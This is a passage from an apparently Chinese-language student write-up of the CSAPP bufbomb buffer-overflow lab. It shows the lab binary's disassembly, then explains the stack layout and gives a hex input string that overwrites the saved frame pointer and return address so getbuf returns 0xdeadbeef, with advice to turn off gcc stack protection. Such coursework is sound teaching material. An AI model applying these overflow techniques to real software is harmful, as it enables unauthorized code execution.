%esp,%ebp
8048477:
83
ec 28
sub $0x28,%esp
804847a:
c7 45
e8 01 00
00 00
movl $0x1,-0x18(%ebp)
8048481:
c7 45
ec 00 00
00 00
movl $0x0,-0x14(%ebp)
8048488:
8b
45 08
mov 0x8(%ebp),%eax
804848b:
89
45 f0
mov %eax,-0x10(%ebp)
804848e:
e9 89
00 00 00
jmp 804851c
<getxs+0xa8>
8048493:
e8 00
ff ff ff
call 8048398
<__ctype_b_loc@plt>
8048498:
8b
00 mov (%eax),%eax
804849a:
8b
55 e4
mov -0x1c(%ebp),%edx
804849d:
01
d2 add
%edx,%edx
804849f:
01
d0 add
%edx,%eax
80484a1:
0f
b7 00
movzwl (%eax),%eax
80484a4:
0f
b7 c0
movzwl %ax,%eax
80484a7:
25
00 10
00
00 and
$0x1000,%eax
80484ac:
85
c0 test
%eax,%eax
80484ae:
74
6c
je 804851c
<getxs+0xa8>
80484b0:
83
7d e4
2f
cmpl $0x2f,-0x1c(%ebp)
80484b4:
7e
11
jle 80484c7
<getxs+0x53>
80484b6:
83
7d e4
39 cmpl
$0x39,-0x1c(%ebp)
80484ba:
7f
0b
jg 80484c7
<getxs+0x53>
80484bc:
8b
45 e4
mov -0x1c(%ebp),%eax
80484bf:
83
e8 30
sub $0x30,%eax
80484c2:
89
45 f4
mov %eax,-0xc(%ebp)
80484c5:
eb 20
jmp 80484e7
<getxs+0x73>
80484c7:
83
7d e4
40 cmpl
$0x40,-0x1c(%ebp)
80484cb:
7e
11
jle 80484de
<getxs+0x6a>
80484cd:
83
7d e4
46 cmpl
$0x46,-0x1c(%ebp)
80484d1:
7f
0b
jg 80484de
<getxs+0x6a>
80484d3:
8b
45 e4
mov -0x1c(%ebp),%eax
80484d6:
83
e8 37
sub $0x37,%eax
80484d9:
89
45 f4
mov %eax,-0xc(%ebp)
80484dc:
eb 09
jmp 80484e7
<getxs+0x73>
80484de:
8b
45 e4
mov -0x1c(%ebp),%eax
80484e1:
83
e8 57
sub $0x57,%eax
80484e4:
89
45 f4
mov %eax,-0xc(%ebp)
80484e7:
83
7d e8
00 cmpl
$0x0,-0x18(%ebp)
80484eb:
74
0f
je 80484fc
<getxs+0x88>
80484ed:
8b
45 f4
mov -0xc(%ebp),%eax
80484f0:
89
45 ec
mov %eax,-0x14(%ebp)
80484f3:
c7 45
e8 00 00
00 00
movl $0x0,-0x18(%ebp)
80484fa:
eb 20
jmp 804851c
<getxs+0xa8>
80484fc:
8b
45 ec
mov -0x14(%ebp),%eax
80484ff:
89
c2 mov
%eax,%edx
8048501:
c1 e2
04 shl
$0x4,%edx
8048504:
8b
45 f4
mov -0xc(%ebp),%eax
8048507:
8d
04 02
lea (%edx,%eax,1),%eax
804850a:
89
c2 mov
%eax,%edx
804850c:
8b
45 f0
mov -0x10(%ebp),%eax
804850f:
88
10 mov
%dl,(%eax)
8048511:
83
45 f0 01
addl $0x1,-0x10(%ebp)
8048515:
c7 45
e8 01 00
00 00
movl $0x1,-0x18(%ebp)
804851c:
e8 47
fe ff ff
call 8048368
<getchar@plt>
8048521:
89
45 e4
mov %eax,-0x1c(%ebp)
8048524:
83
7d e4
ff cmpl
$0xffffffff,-0x1c(%ebp)
8048528:
74
0a
je 8048534
<getxs+0xc0>
804852a:
83
7d e4
0a
cmpl $0xa,-0x1c(%ebp)
804852e:
0f
85 5f
ff ff
ff jne
8048493 <getxs+0x1f>
8048534:
8b
45 f0
mov -0x10(%ebp),%eax
8048537:
c6 00
00 movb
$0x0,(%eax)
804853a:
83
45 f0 01
addl $0x1,-0x10(%ebp)
804853e:
8b
45 08
mov 0x8(%ebp),%eax
8048541:
c9
leave
8048542:
c3 ret
08048543 <getbuf>:
8048543:
55
push %ebp
8048544:
89
e5 mov
%esp,%ebp
8048546:
83
ec 28
sub $0x28,%esp
8048549:
8d
45 ec
lea -0x14(%ebp),%eax
804854c:
89
04 24
mov %eax,(%esp)
804854f:
e8 20
ff ff ff
call 8048474
<getxs>
8048554:
b8 01
00 00 00
mov $0x1,%eax
8048559:
c9
leave
804855a:
c3
ret
0804855b <test>:
804855b:
55
push %ebp
804855c:
89
e5 mov
%esp,%ebp
804855e:
83
ec 28
sub $0x28,%esp
8048561:
b8 e0
86 04 08
mov $0x80486e0,%eax
8048566:
8d
55 f0
lea -0x10(%ebp),%edx
8048569:
89
54 24
04
mov %edx,0x4(%esp)
804856d:
89
04 24
mov %eax,(%esp)
8048570:
e8 33
fe ff ff
call 80483a8
<printf@plt>
8048575:
b8 f6
86 04 08
mov $0x80486f6,%eax
804857a:
89
04 24
mov %eax,(%esp)
804857d:
e8 26
fe ff ff
call 80483a8
<printf@plt>
8048582:
e8 bc
ff ff ff
call 8048543
<getbuf>
8048587:
89
45 f4
mov %eax,-0xc(%ebp)
804858a:
b8 07
87 04 08
mov $0x8048707,%eax
804858f:
8b
55 f4
mov -0xc(%ebp),%edx
8048592:
89
54 24
04
mov %edx,0x4(%esp)
8048596:
89
04 24
mov %eax,(%esp)
8048599:
e8 0a
fe ff
ff call
80483a8 <printf@plt>
804859e:
c9
leave
804859f:
c3
ret
080485a0 <main>:
80485a0:
8d
4c
24 04
lea 0x4(%esp),%ecx
80485a4:
83
e4 f0
and $0xfffffff0,%esp
80485a7:
ff 71
fc pushl
-0x4(%ecx)
80485aa:
55
push %ebp
80485ab:
89
e5 mov
%esp,%ebp
80485ad:
51
push %ecx
80485ae:
83
ec 64
sub $0x64,%esp
80485b1:
8d
45 b0
lea -0x50(%ebp),%eax
80485b4:
25
ff ff 7f
00 and
$0x7fffff,%eax
80485b9:
89
45 f0
mov %eax,-0x10(%ebp)
80485bc:
8b
45 f0
mov -0x10(%ebp),%eax
80485bf:
83
c0 0f
add $0xf,%eax
80485c2:
83
c0 0f
add $0xf,%eax
80485c5:
c1 e8
04 shr
$0x4,%eax
80485c8:
c1 e0
04 shl
$0x4,%eax
80485cb:
29
c4 sub
%eax,%esp
80485cd:
8d
44 24
0c
lea 0xc(%esp),%eax
80485d1:
83
c0 0f
add $0xf,%eax
80485d4:
c1 e8
04 shr
$0x4,%eax
80485d7:
c1 e0
04 shl
$0x4,%eax
80485da:
89
45 f4
mov %eax,-0xc(%ebp)
80485dd:
8b
45 f4
mov -0xc(%ebp),%eax
80485e0:
c7 00
00 00 00
00 movl
$0x0,(%eax)
80485e6:
8d
45 b0
lea -0x50(%ebp),%eax
80485e9:
8b
55 f0
mov -0x10(%ebp),%edx
80485ec:
f7 da
neg %edx
80485ee:
8d
14 10
lea (%eax,%edx,1),%edx
80485f1:
b8 20
87 04 08
mov $0x8048720,%eax
80485f6:
89
54 24
08
mov %edx,0x8(%esp)
80485fa:
8b
55 f0
mov -0x10(%ebp),%edx
80485fd:
89
54 24
04
mov %edx,0x4(%esp)
8048601:
89
04 24
mov %eax,(%esp)
8048604:
e8 9f
fd ff
ff call
80483a8 <printf@plt>
8048609:
e8 4d
ff ff
ff call
804855b <test>
804860e:
b8 00
00 00 00
mov $0x0,%eax
8048613:
8b
4d fc
mov -0x4(%ebp),%ecx
8048616:
c9
leave
8048617:
8d 61
fc lea
-0x4(%ecx),%esp
804861a:
c3
ret
804861b:
90 nop
804861c:
90
nop
804861d:
90
nop
804861e:
90
nop
804861f:
90
nop
08048620
<__libc_csu_fini>:
8048620:
55
push %ebp
8048621:
89
e5 mov
%esp,%ebp
8048623:
5d
pop %ebp
8048624:
c3
ret
8048625:
8d 74
26 00
lea 0x0(%esi,%eiz,1),%esi
8048629:
8d
bc 27
00 00 00
00 lea
0x0(%edi,%eiz,1),%edi
08048630
<__libc_csu_init>:
8048630:
55
push %ebp
8048631:
89
e5 mov
%esp,%ebp
8048633:
57
push %edi
8048634:
56
push %esi
8048635:
53
push %ebx
8048636:
e8 4f
00 00
00 call
804868a <__i686.get_pc_thunk.bx>
804863b:
81
c3 b9 19
00 00
add $0x19b9,%ebx
8048641:
83
ec 1c
sub $0x1c,%esp
8048644:
e8 df
fc ff ff
call 8048328
<_init>
8048649:
8d bb
18 ff
ff ff
lea -0xe8(%ebx),%edi
804864f:
8d
83 18
ff ff ff
lea -0xe8(%ebx),%eax
8048655:
29
c7 sub
%eax,%edi
8048657:
c1 ff
02 sar
$0x2,%edi
804865a:
85
ff test
%edi,%edi
804865c:
74
24 je
8048682 <__libc_csu_init+0x52>
804865e:
31
f6 xor
%esi,%esi
8048660:
8b
45 10
mov 0x10(%ebp),%eax
8048663:
89
44 24
08
mov %eax,0x8(%esp)
8048667:
8b
45 0c
mov 0xc(%ebp),%eax
804866a:
89
44 24
04
mov %eax,0x4(%esp)
804866e:
8b
45 08
mov 0x8(%ebp),%eax
8048671:
89
04 24
mov %eax,(%esp)
8048674:
ff 94
b3 18 ff
ff ff
call *-0xe8(%ebx,%esi,4)
804867b:
83
c6 01
add $0x1,%esi
804867e:
39
fe cmp
%edi,%esi
8048680:
72
de jb
8048660 <__libc_csu_init+0x30>
8048682:
83
c4 1c
add $0x1c,%esp
8048685:
5b
pop %ebx
8048686:
5e
pop %esi
8048687:
5f
pop %edi
8048688:
5d
pop %ebp
8048689:
c3
ret
0804868a <__i686.get_pc_thunk.bx>:
804868a:
8b
1c 24
mov (%esp),%ebx
804868d:
c3
ret
804868e:
90
nop
804868f:
90
nop
08048690
<__do_global_ctors_aux>:
8048690:
55
push %ebp
8048691:
89
e5 mov
%esp,%ebp
8048693:
53
push %ebx
8048694:
83
ec 04
sub $0x4,%esp
8048697:
a1 0c
9f
04 08
mov 0x8049f0c,%eax
804869c:
83
f8 ff
cmp $0xffffffff,%eax
804869f:
74
13 je
80486b4 <__do_global_ctors_aux+0x24>
80486a1: bb
0c
9f 04
08 mov
$0x8049f0c,%ebx
80486a6:
66
90 xchg
%ax,%ax
80486a8:
83
eb 04
sub $0x4,%ebx
80486ab:
ff d0
call *%eax
80486ad:
8b
03 mov (%ebx),%eax
80486af:
83
f8 ff
cmp $0xffffffff,%eax
80486b2:
75
f4 jne
80486a8 <__do_global_ctors_aux+0x18>
80486b4:
83
c4 04
add $0x4,%esp
80486b7:
5b
pop %ebx
80486b8:
5d
pop %ebp
80486b9:
c3
ret
80486ba:
90
nop
80486bb:
90
nop
Disassembly of
section .fini:
080486bc
<_fini>:
80486bc:
55
push %ebp
80486bd:
89
e5 mov
%esp,%ebp
80486bf:
53
push %ebx
80486c0:
83
ec 04
sub $0x4,%esp
80486c3:
e8 00
00 00 00
call 80486c8
<_fini+0xc>
80486c8:
5b
pop %ebx
80486c9:
81
c3 2c
19 00 00
add $0x192c,%ebx
80486cf:
e8 1c
fd ff
ff call
80483f0 <__do_global_dtors_aux>
80486d4:
59
pop %ecx
80486d5:
5b
pop %ebx
80486d6:
c9
leave
80486d7:
c3
ret
5. 由于我们的任务是,只简单地对提示符输入一个适当的十六进制字符串,就使getbuf对test返回-559038737(0xdeadbeef)。
所以我们输入的串只要覆盖到val所在的内存单元的位置即可。
1. 通过分析NP_bufbomb.s得到各个过程的栈帧布局,getbuf的返回地址,test中call printf的地址和"getbuf returned 0x%x\n"的地址。
2. 通过使用gdb调试bufbomb得到数组buf的起始地址(注意不是buf的地址!)和test的栈帧地址。
注: 函数参数的地址可根据调用函数前的入栈情况获得(汇编调用C标准库函数都是通过栈来传递参数的);
栈帧的地址可通过在调试程序时的相应位置使用print /x $ebp获得。
执行getxs时内存中各个过程的栈帧布局
(仅仅画出了关键的test,getbuf以及getxs的栈帧布局,以及一些必要的单元里的内容):
/* there is a picture of stack frame */
6. 分析完毕得到输入串,运行bufbomb,并输入数据:
01 02 03 04 05 06 07 08 09 10 11 12 01 02 03 04 05 06 07 08 c8 ff 7f bf 99 85 04 08 07 87 04 08 ef be ad de
运行结果:
有图由真相
/* there is a picture of result */
关于输入数据的解释:
前12个(01 02 03 04 05 06 07 08 09 10 11 12)存到buf[0]~buf[11]中。这里的数组buf是getbuf中的,而不是main中的!
接着的8个(01 02 03 04 05 06 07 08)存到编译器为数组buf多开辟的8个字节中(一般情况下,编译器总是开辟比需要的多一点的空间)。
接下来的c8 ff 7f bf,是test的栈帧指针(0xbf7fffc8)。
然后的99 85 04 08,是新的getbuf的返回地址也是test中最后一个call printf的地址(0x08048599)。其实只要跳过对val的赋值过程即可,这个值不唯一,也可以是0x0804858a。(这个地址跳过了程序用getbuf的返回值0x1修改栈中val所在内存里的值,从而使printf的参数栈中val的内容是我们所输入的0xdeadbeef,当然存储"getbuf returned 0x%x\n"地址的内存单元还是用原值覆盖)
最后的ef be ad de,是我们要得到的输出值(0xdeadbeef)。
!!!一些强调:
自GCC-4.1.0之后,就在编译过程中加入了防溢出的随机数验证机制,在%gs:0x14 中保存一个随机数,用此进行比对,验证溢出与否。同时GCC-4.1.0之后还加入了与溢出有关的几个编译选项,以此控制是否添加溢出验证:
-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护。
输入值必须为两个数字或字母(十六进制允许范围内)一组。(注意源程序中even number,偶数的意思)
注意1:注意输入值与其所在内存中的对应关系(我们输入的值是从低到高进入内存的,按字节(由char buf[12]和getxs决定))!,根据getxs可知,输入的值都会被作为十六进制,如bf被作为0xbf
注意2:前20个输入,只要是两个一组即可。(也就是前20个输入只要符合getxs函数的要求即可!)
切记切记,该实验是非常依赖机器和编译选项的!
自己实验时,最要注意的是关闭堆栈保护机制(不关闭堆栈保护机制,在gdb中得到结果,不算本事,我几分钟就可以搞定!)。
还有就是一定要使用"objdump -d bufbomb > bufbomb.s"得到bufbomb的反汇编代码。
通过分析bufbomb.s得到栈帧的布局,以及一些必要的地址数据(getbuf的返回地址(需要修改以跳过将getbuf的返回值放到堆栈的指令)和"getbuf returned 0x%x\n"的地址)。再者就是要通过gdb获得数组buf的起始地址(注意不是buf的地址!)和test的栈帧地址。
思维扩展:
1. 关于gcc堆栈保护机制,以及%gs:0x14内容的随机性和不可访问性!
2. 关于对关闭和启用gcc堆栈保护机制对生成代码的影响。
3. 如何找出程序中潜在的缓冲区溢出漏洞(现实中往往得不到源程序)。
4. 如何利用程序中的缓冲区溢出漏洞,做一些高级攻击,如植入恶意代码等。
5. 如何防止程序中出现缓冲区溢出漏洞。
最后引用CSAPP里的原话:“我们不能原谅任何用这种或其他任何方法来获得对系统的未被授权的访问。未经许可闯入计算机系统与闯入一幢建筑是一样的——犯罪行为,即使犯罪者并没有恶意。”
相关文章推荐
- CSAPP实验四----缓冲区溢出实验bufbomb
- bufbomb-缓冲区溢出实验
- CSAPP实验之BUFBOMB
- [CSAPP]Bufbomb实验报告
- [CSAPP]Bufbomb实验报告
- CSAPP LAB---buflab-handout(缓冲区溢出实验)
- bufbomb实验心得及详细步骤
- CS61系列实验之二 缓冲区溢出
- CSAPP lab3 bufbomb
- 深入理解计算机系统(CSAPP)课程实验bomb程序炸弹实验日志(phase_1)
- 缓冲区溢出实验——原理篇
- CSAPP课程实验 bomb实验 拆炸弹实验 (2)
- 不错的文章--续--CS:APP bufbomb 缓冲区溢出攻击
- 深入理解计算机系统(CSAPP)课程实验bomb程序炸弹实验日志(phase_2)
- csapp-lab3 bufbomb
- CSAPP:缓冲区溢出实验
- 缓冲区溢出实验
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(1)
- CSAPP第二次实验 bomb二进制炸弹的破解
- 缓冲区溢出工具实践,华工信息安全实验